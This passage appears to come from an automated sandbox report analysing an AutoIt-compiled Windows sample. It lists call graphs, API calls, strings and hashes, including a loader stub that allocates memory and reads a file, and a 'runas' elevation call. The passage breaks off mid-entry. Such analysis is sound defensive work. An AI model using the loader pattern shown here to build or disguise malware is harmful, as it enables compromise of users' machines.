97315 2e4052 97313->97315 97317 2e4a88 97315->97317 97331 30359c 82 API calls __wsopen_s 97315->97331 97316 2e3fe6 97316->97315 97330 301abf 22 API calls 97316->97330 97319->97313 97321 2acebf 97320->97321 97322 2aced2 97320->97322 97332 29aceb 23 API calls messages 97321->97332 97324 2aced7 97322->97324 97325 2acf05 97322->97325 97327 2afddb 22 API calls 97324->97327 97333 29aceb 23 API calls messages 97325->97333 97328 2acec9 97327->97328 97328->97311 97329->97316 97330->97319 97331->97317 97332->97328 97333->97328 97334 d54ee8 97348 d52b38 97334->97348 97336 d54fa3 97351 d54dd8 97336->97351 97338 d54fcc CreateFileW 97340 d55020 97338->97340 97341 d5501b 97338->97341 97340->97341 97342 d55037 VirtualAlloc 97340->97342 97342->97341 97343 d55055 ReadFile 97342->97343 97343->97341 97344 d55070 97343->97344 97345 d53dd8 13 API calls 97344->97345 97346 d550a3 97345->97346 97347 d550c6 ExitProcess 97346->97347 97347->97341 97354 d55fc8 GetPEB 97348->97354 97350 d531c3 97350->97336 97352 d54de1 Sleep 97351->97352 97353 d54def 97352->97353 97355 d55ff2 97354->97355 97355->97350 97356 292e37 97357 29a961 22 API calls 97356->97357 97358 292e4d 97357->97358 97435 294ae3 97358->97435 97360 292e6b 97361 293a5a 24 API calls 97360->97361 97362 292e7f 97361->97362 97363 299cb3 22 API calls 97362->97363 97364 292e8c 97363->97364 97365 294ecb 94 API calls 97364->97365 97366 292ea5 97365->97366 97367 292ead 97366->97367 97368 2d2cb0 97366->97368 97371 29a8c7 22 API calls 97367->97371 97369 302cf9 80 API calls 97368->97369 97370 2d2cc3 97369->97370 97372 2d2ccf 97370->97372 97374 294f39 68 API calls 97370->97374 97373 292ec3 97371->97373 97376 294f39 68 API calls 97372->97376 97449 296f88 22 API calls 97373->97449 97374->97372 97378 2d2ce5 97376->97378 97377 292ecf 97379 299cb3 22 API calls 97377->97379 97465 293084 22 API calls 97378->97465 97380 292edc 97379->97380 97450 29a81b 41 API calls 97380->97450 97383 292eec 97385 299cb3 22 API calls 97383->97385 97384 2d2d02 97466 293084 22 API calls 97384->97466 97386 292f12 97385->97386 97451 29a81b 41 API calls 97386->97451 97389 2d2d1e 97390 293a5a 24 API calls 97389->97390 97391 2d2d44 97390->97391 97467 293084 22 API calls 97391->97467 97392 292f21 97395 29a961 22 API calls 97392->97395 97394 2d2d50 97396 29a8c7 22 API calls 97394->97396 97397 292f3f 97395->97397 97398 2d2d5e 97396->97398 97452 293084 22 API calls 97397->97452 97468 293084 22 API calls 97398->97468 97401 292f4b 97453 2b4a28 40 API calls 3 library calls 97401->97453 97402 2d2d6d 97407 29a8c7 22 API calls 97402->97407 97404 292f59 97404->97378 97405 292f63 97404->97405 97454 2b4a28 40 API calls 3 library calls 97405->97454 97409 2d2d83 97407->97409 97408 292f6e 97408->97384 97410 292f78 97408->97410 97469 293084 22 API calls 97409->97469 97455 2b4a28 40 API calls 3 library calls 97410->97455 97413 2d2d90 97414 292f83 97414->97389 97415 292f8d 97414->97415 97456 2b4a28 40 API calls 3 library calls 97415->97456 97417 292f98 97418 292fdc 97417->97418 97457 293084 22 API calls 97417->97457 97418->97402 97419 292fe8 97418->97419 97419->97413 97459 2963eb 22 API calls 97419->97459 97422 292fbf 97424 29a8c7 22 API calls 97422->97424 97423 292ff8 97460 296a50 22 API calls 97423->97460 97426 292fcd 97424->97426 97458 293084 22 API calls 97426->97458 97427 293006 97461 2970b0 23 API calls 97427->97461 97432 293021 97433 293065 97432->97433 97462 296f88 22 API calls 97432->97462 97463 2970b0 23 API calls 97432->97463 97464 293084 22 API calls 97432->97464 97436 294af0 __wsopen_s 97435->97436 97437 296b57 22 API calls 97436->97437 97438 294b22 97436->97438 97437->97438 97439 294c6d 22 API calls 97438->97439 97447 294b58 97438->97447 97439->97438 97440 299cb3 22 API calls 97442 294c52 97440->97442 97441 299cb3 22 API calls 97441->97447 97443 29515f 22 API calls 97442->97443 97445 294c5e 97443->97445 97444 29515f 22 API calls 97444->97447 97445->97360 97446 294c29 97446->97440 97446->97445 97447->97441 97447->97444 97447->97446 97448 294c6d 22 API calls 97447->97448 97448->97447 97449->97377 97450->97383 97451->97392 97452->97401 97453->97404 97454->97408 97455->97414 97456->97417 97457->97422 97458->97418 97459->97423 97460->97427 97461->97432 97462->97432 97463->97432 97464->97432 97465->97384 97466->97389 97467->97394 97468->97402 97469->97413 97470 293156 97473 293170 97470->97473 97474 293187 97473->97474 97475 2931eb 97474->97475 97476 29318c 97474->97476 97513 2931e9 97474->97513 97478 2d2dfb 97475->97478 97479 2931f1 97475->97479 97480 293199 97476->97480 97481 293265 PostQuitMessage 97476->97481 97477 2931d0 DefWindowProcW 97515 29316a 97477->97515 97529 2918e2 10 API calls 97478->97529 97482 2931f8 97479->97482 97483 29321d SetTimer RegisterWindowMessageW 97479->97483 97485 2d2e7c 97480->97485 97486 2931a4 97480->97486 97481->97515 97487 2d2d9c 97482->97487 97488 293201 KillTimer 97482->97488 97490 293246 CreatePopupMenu 97483->97490 97483->97515 97534 2fbf30 34 API calls ___scrt_fastfail 97485->97534 97491 2d2e68 97486->97491 97492 2931ae 97486->97492 97495 2d2dd7 MoveWindow 97487->97495 97496 2d2da1 97487->97496 97525 2930f2 Shell_NotifyIconW ___scrt_fastfail 97488->97525 97489 2d2e1c 97530 2ae499 42 API calls 97489->97530 97490->97515 97518 2fc161 97491->97518 97500 2d2e4d 97492->97500 97501 2931b9 97492->97501 97494 2d2e8e 97494->97477 97494->97515 97495->97515 97503 2d2da7 97496->97503 97504 2d2dc6 SetFocus 97496->97504 97500->97477 97533 2f0ad7 22 API calls 97500->97533 97502 293253 97501->97502 97511 2931c4 97501->97511 97527 29326f 44 API calls ___scrt_fastfail 97502->97527 97507 2d2db0 97503->97507 97503->97511 97504->97515 97505 293214 97526 293c50 DeleteObject DestroyWindow 97505->97526 97528 2918e2 10 API calls 97507->97528 97510 293263 97510->97515 97511->97477 97531 2930f2 Shell_NotifyIconW ___scrt_fastfail 97511->97531 97513->97477 97516 2d2e41 97532 293837 49 API calls ___scrt_fastfail 97516->97532 97519 2fc179 ___scrt_fastfail 97518->97519 97520 2fc276 97518->97520 97535 293923 97519->97535 97520->97515 97522 2fc25f KillTimer SetTimer 97522->97520 97523 2fc1a0 97523->97522 97524 2fc251 Shell_NotifyIconW 97523->97524 97524->97522 97525->97505 97526->97515 97527->97510 97528->97515 97529->97489 97530->97511 97531->97516 97532->97513 97533->97513 97534->97494 97536 29393f 97535->97536 97537 293a13 97535->97537 97538 296270 22 API calls 97536->97538 97537->97523 97539 29394d 97538->97539 97540 29395a 97539->97540 97541 2d3393 LoadStringW 97539->97541 97542 296b57 22 API calls 97540->97542 97543 2d33ad 97541->97543 97544 29396f 97542->97544 97547 29a8c7 22 API calls 97543->97547 97551 293994 ___scrt_fastfail 97543->97551 97545 2d33c9 97544->97545 97546 29397c 97544->97546 97549 296350 22 API calls 97545->97549 97546->97543 97548 293986 97546->97548 97547->97551 97550 296350 22 API calls 97548->97550 97552 2d33d7 97549->97552 97550->97551 97554 2939f9 Shell_NotifyIconW 97551->97554 97552->97551 97553 2933c6 22 API calls 97552->97553 97555 2d33f9 97553->97555 97554->97537 97556 2933c6 22 API calls 97555->97556 97556->97551

                                                Executed Functions

                                                Function 002942DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235libraryloaderCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 234 2942de-29434d call 29a961 GetVersionExW call 296b57 239 2d3617-2d362a 234->239 240 294353 234->240 241 2d362b-2d362f 239->241 242 294355-294357 240->242 243 2d3631 241->243 244 2d3632-2d363e 241->244 245 29435d-2943bc call 2993b2 call 2937a0 242->245 246 2d3656 242->246 243->244 244->241 247 2d3640-2d3642 244->247 260 2d37df-2d37e6 245->260 261 2943c2-2943c4 245->261 250 2d365d-2d3660 246->250 247->242 249 2d3648-2d364f 247->249 249->239 252 2d3651 249->252 253 29441b-294435 GetCurrentProcess IsWow64Process 250->253 254 2d3666-2d36a8 250->254 252->246 257 294494-29449a 253->257 258 294437 253->258 254->253 259 2d36ae-2d36b1 254->259 262 29443d-294449 257->262 258->262 263 2d36db-2d36e5 259->263 264 2d36b3-2d36bd 259->264 268 2d37e8 260->268 269 2d3806-2d3809 260->269 261->250 267 2943ca-2943dd 261->267 272 29444f-29445e LoadLibraryA 262->272 273 2d3824-2d3828 GetSystemInfo 262->273 270 2d36f8-2d3702 263->270 271 2d36e7-2d36f3 263->271 265 2d36bf-2d36c5 264->265 266 2d36ca-2d36d6 264->266 265->253 266->253 274 2943e3-2943e5 267->274 275 2d3726-2d372f 267->275 276 2d37ee 268->276 279 2d380b-2d381a 269->279 280 2d37f4-2d37fc 269->280 277 2d3715-2d3721 270->277 278 2d3704-2d3710 270->278 271->253 281 29449c-2944a6 GetSystemInfo 272->281 282 294460-29446e GetProcAddress 272->282 284 2d374d-2d3762 274->284 285 2943eb-2943ee 274->285 286 2d373c-2d3748 275->286 287 2d3731-2d3737 275->287 276->280 277->253 278->253 279->276 288 2d381c-2d3822 279->288 280->269 283 294476-294478 281->283 282->281 289 294470-294474 GetNativeSystemInfo 282->289 294 29447a-29447b FreeLibrary 283->294 295 294481-294493 283->295 292 2d376f-2d377b 284->292 293 2d3764-2d376a 284->293 290 2d3791-2d3794 285->290 291 2943f4-29440f 285->291 286->253 287->253 288->280 289->283 290->253 298 2d379a-2d37c1 290->298 296 294415 291->296 297 2d3780-2d378c 291->297 292->253 293->253 294->295 296->253 297->253 299 2d37ce-2d37da 298->299 300 2d37c3-2d37c9 298->300 299->253 300->253
                                                APIs
                                                • GetVersionExW.KERNEL32(?), ref: 0029430D
                                                  • Part of subcall function 00296B57: _wcslen.LIBCMT ref: 00296B6A
                                                • GetCurrentProcess.KERNEL32(?,0032CB64,00000000,?,?), ref: 00294422
                                                • IsWow64Process.KERNEL32(00000000,?,?), ref: 00294429
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00294454
                                                • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00294466
                                                • GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00294474
                                                • FreeLibrary.KERNEL32(00000000,?,?), ref: 0029447B
                                                • GetSystemInfo.KERNEL32(?,?,?), ref: 002944A0
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
                                                • String ID: GetNativeSystemInfo$kernel32.dll$|O
                                                • API String ID: 3290436268-3101561225
                                                • Opcode ID: 0cb12b0a302cf3c2fb077a47931e81d993f9fca1a9f4a4163124140de76e0c68
                                                • Instruction ID: 8126457cda971717a25427a1c3b2db31232c9c21d6931885a48f35acf1a331ac
                                                • Opcode Fuzzy Hash: 0cb12b0a302cf3c2fb077a47931e81d993f9fca1a9f4a4163124140de76e0c68
                                                • Instruction Fuzzy Hash: 8BA1827EA2A2C1DFCB13DB69BC415997FAC6B36300F2CD899D04393B21D2E04915CB66
                                                Function 002942A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1063 2942a2-2942ba CreateStreamOnHGlobal 1064 2942da-2942dd 1063->1064 1065 2942bc-2942d3 FindResourceExW 1063->1065 1066 2942d9 1065->1066 1067 2d35ba-2d35c9 LoadResource 1065->1067 1066->1064 1067->1066 1068 2d35cf-2d35dd SizeofResource 1067->1068 1068->1066 1069 2d35e3-2d35ee LockResource 1068->1069 1069->1066 1070 2d35f4-2d3612 1069->1070 1070->1066
                                                APIs
                                                • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,002950AA,?,?,00000000,00000000), ref: 002942B2
                                                • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,002950AA,?,?,00000000,00000000), ref: 002942C9
                                                • LoadResource.KERNEL32(?,00000000,?,?,002950AA,?,?,00000000,00000000,?,?,?,?,?,?,00294F20), ref: 002D35BE
                                                • SizeofResource.KERNEL32(?,00000000,?,?,002950AA,?,?,00000000,00000000,?,?,?,?,?,?,00294F20), ref: 002D35D3
                                                • LockResource.KERNEL32(002950AA,?,?,002950AA,?,?,00000000,00000000,?,?,?,?,?,?,00294F20,?), ref: 002D35E6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                • String ID: SCRIPT
                                                • API String ID: 3051347437-3967369404
                                                • Opcode ID: 363b0fc7c17888230a0670244e1ad4dd47ce986a929ab2f04b8e4353c1242b6c
                                                • Instruction ID: feea47379860fcf94170c866862272c65d37ee46acb6377ed521bb4a47b4e215
                                                • Opcode Fuzzy Hash: 363b0fc7c17888230a0670244e1ad4dd47ce986a929ab2f04b8e4353c1242b6c
                                                • Instruction Fuzzy Hash: 40115A70610701AFEB229B65DC48F6B7BBDEFC5B51F20856EB80296250DB71D8118620
                                                Function 002D2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00292B6B
                                                  • Part of subcall function 00293A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00361418,?,00292E7F,?,?,?,00000000), ref: 00293A78
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                • GetForegroundWindow.USER32(runas,?,?,?,?,?,00352224), ref: 002D2C10
                                                • ShellExecuteW.SHELL32(00000000,?,?,00352224), ref: 002D2C17
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
                                                • String ID: runas
                                                • API String ID: 448630720-4000483414
                                                • Opcode ID: cfab2277ba5c772178c03e2b865bb46a028d4966ed6f9b0f0dd59d4f6413dcce
                                                • Instruction ID: f614176004e09a8ccbc6292bd6a55f7f8a0ad1f3ea81f79dc6aad74d43265076
                                                • Opcode Fuzzy Hash: cfab2277ba5c772178c03e2b865bb46a028d4966ed6f9b0f0dd59d4f6413dcce
                                                • Instruction Fuzzy Hash: 8F112931128301AACF16FF64D861EBE77E8AFA1355F48542DF582430A2CF61896ECB52
                                                Function 002FDBBE Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON
                                                Download Yara Rule
                                                APIs
                                                • lstrlenW.KERNEL32(?,002D5222), ref: 002FDBCE
                                                • GetFileAttributesW.KERNELBASE(?), ref: 002FDBDD
                                                • FindFirstFileW.KERNELBASE(?,?), ref: 002FDBEE
                                                • FindClose.KERNEL32(00000000), ref: 002FDBFA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FileFind$AttributesCloseFirstlstrlen
                                                • String ID:
                                                • API String ID: 2695905019-0
                                                • Opcode ID: f6b4dd954889eacba83cdc58fc90db1309ecd72abdf7714a62f1541905c9c067
                                                • Instruction ID: 56ece6027dc8255dcfa32599bf584522f635a337a0e4e26d0ca3c7b484e68d37
                                                • Opcode Fuzzy Hash: f6b4dd954889eacba83cdc58fc90db1309ecd72abdf7714a62f1541905c9c067
                                                • Instruction Fuzzy Hash: 05F0A030830A1897C2316F78AC0E8BEB76D9E01374F904B1BF976C20E0EBB0596686D5
                                                Function 0029BF40 Relevance: 2.4, Strings: 1, Instructions: 1178COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper
                                                • String ID: p#6
                                                • API String ID: 3964851224-3668136890
                                                • Opcode ID: d2fbc122c5909bc509fbcffdfbe11d10340946c6bbbb57ea00b2e8d46b7d30e6
                                                • Instruction ID: 390ab1b81fdab4ddc464cb998bf97e5276832d41fbc563a2f29160a9860f78ba
                                                • Opcode Fuzzy Hash: d2fbc122c5909bc509fbcffdfbe11d10340946c6bbbb57ea00b2e8d46b7d30e6
                                                • Instruction Fuzzy Hash: 1BA27D706283418FDB14CF15C480B2AB7E5BF89304F64896DE89A8B352D771ECA5CF92
                                                Function 0029D730 Relevance: 21.6, APIs: 14, Instructions: 624windowsleeptimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetInputState.USER32 ref: 0029D807
                                                • timeGetTime.WINMM ref: 0029DA07
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0029DB28
                                                • TranslateMessage.USER32(?), ref: 0029DB7B
                                                • DispatchMessageW.USER32(?), ref: 0029DB89
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0029DB9F
                                                • Sleep.KERNEL32(0000000A), ref: 0029DBB1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
                                                • String ID:
                                                • API String ID: 2189390790-0
                                                • Opcode ID: c95f3c8a3c050fa21de63ad4b87239d9fa095c75e98777178da574cec7ef35ae
                                                • Instruction ID: 465535a3b4f8e18a551ff5f4c44054f163e62a233aba8ada4f3c33cd11302434
                                                • Opcode Fuzzy Hash: c95f3c8a3c050fa21de63ad4b87239d9fa095c75e98777178da574cec7ef35ae
                                                • Instruction Fuzzy Hash: F2422430668382DFDB29DF25C844B6AB7E4BF46304F54852DE45687291C7B0E878DF82
                                                Function 00292CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetSysColorBrush.USER32(0000000F), ref: 00292D07
                                                • RegisterClassExW.USER32(00000030), ref: 00292D31
                                                • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00292D42
                                                • InitCommonControlsEx.COMCTL32(?), ref: 00292D5F
                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00292D6F
                                                • LoadIconW.USER32(000000A9), ref: 00292D85
                                                • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00292D94
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                • API String ID: 2914291525-1005189915
                                                • Opcode ID: 02efbf56dfe933917aeed6e2ed8a9c07fe6401404b6421778d01af09ebeb92f4
                                                • Instruction ID: 70f06ea46b15e5eb2975150ee93d5486a6f7cbde35787025f948410b01b06aae
                                                • Opcode Fuzzy Hash: 02efbf56dfe933917aeed6e2ed8a9c07fe6401404b6421778d01af09ebeb92f4
                                                • Instruction Fuzzy Hash: 4F21E0B5921218AFDB12DFA8E889BDDBBF8FB08701F14911AF611A62A0D7B14544CF91
                                                Function 002D065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 302 2d065b-2d068b call 2d042f 305 2d068d-2d0698 call 2bf2c6 302->305 306 2d06a6-2d06b2 call 2c5221 302->306 311 2d069a-2d06a1 call 2bf2d9 305->311 312 2d06cb-2d0714 call 2d039a 306->312 313 2d06b4-2d06c9 call 2bf2c6 call 2bf2d9 306->313 322 2d097d-2d0983 311->322 320 2d0716-2d071f 312->320 321 2d0781-2d078a GetFileType 312->321 313->311 324 2d0756-2d077c GetLastError call 2bf2a3 320->324 325 2d0721-2d0725 320->325 326 2d078c-2d07bd GetLastError call 2bf2a3 CloseHandle 321->326 327 2d07d3-2d07d6 321->327 324->311 325->324 331 2d0727-2d0754 call 2d039a 325->331 326->311 341 2d07c3-2d07ce call 2bf2d9 326->341 329 2d07df-2d07e5 327->329 330 2d07d8-2d07dd 327->330 334 2d07e9-2d0837 call 2c516a 329->334 335 2d07e7 329->335 330->334 331->321 331->324 345 2d0839-2d0845 call 2d05ab 334->345 346 2d0847-2d086b call 2d014d 334->346 335->334 341->311 345->346 351 2d086f-2d0879 call 2c86ae 345->351 352 2d086d 346->352 353 2d087e-2d08c1 346->353 351->322 352->351 355 2d08c3-2d08c7 353->355 356 2d08e2-2d08f0 353->356 355->356 358 2d08c9-2d08dd 355->358 359 2d097b 356->359 360 2d08f6-2d08fa 356->360 358->356 359->322 360->359 361 2d08fc-2d092f CloseHandle call 2d039a 360->361 364 2d0931-2d095d GetLastError call 2bf2a3 call 2c5333 361->364 365 2d0963-2d0977 361->365 364->365 365->359
                                                APIs
                                                  • Part of subcall function 002D039A: CreateFileW.KERNELBASE(00000000,00000000,?,002D0704,?,?,00000000,?,002D0704,00000000,0000000C), ref: 002D03B7
                                                • GetLastError.KERNEL32 ref: 002D076F
                                                • __dosmaperr.LIBCMT ref: 002D0776
                                                • GetFileType.KERNELBASE(00000000), ref: 002D0782
                                                • GetLastError.KERNEL32 ref: 002D078C
                                                • __dosmaperr.LIBCMT ref: 002D0795
                                                • CloseHandle.KERNEL32(00000000), ref: 002D07B5
                                                • CloseHandle.KERNEL32(?), ref: 002D08FF
                                                • GetLastError.KERNEL32 ref: 002D0931
                                                • __dosmaperr.LIBCMT ref: 002D0938
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                • String ID: H
                                                • API String ID: 4237864984-2852464175
                                                • Opcode ID: b11b4b2d1ffe3fcc20639acddbc5303ada93630ffd40544325cf0d6370e4bf8a
                                                • Instruction ID: d1057fe8f61ad61c5194c3d0f65c4bb1dcd5fd5e569b20474c839768007489ee
                                                • Opcode Fuzzy Hash: b11b4b2d1ffe3fcc20639acddbc5303ada93630ffd40544325cf0d6370e4bf8a
                                                • Instruction Fuzzy Hash: 93A12432A201059FDF19EF68DC92BAE7BA4AB46320F14415EF815DF3A1D7719C22CB91
                                                Function 0029344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                  • Part of subcall function 00293A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00361418,?,00292E7F,?,?,?,00000000), ref: 00293A78
                                                  • Part of subcall function 00293357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00293379
                                                • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 0029356A
                                                • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 002D318D
                                                • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 002D31CE
                                                • RegCloseKey.ADVAPI32(?), ref: 002D3210
                                                • _wcslen.LIBCMT ref: 002D3277
                                                • _wcslen.LIBCMT ref: 002D3286
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
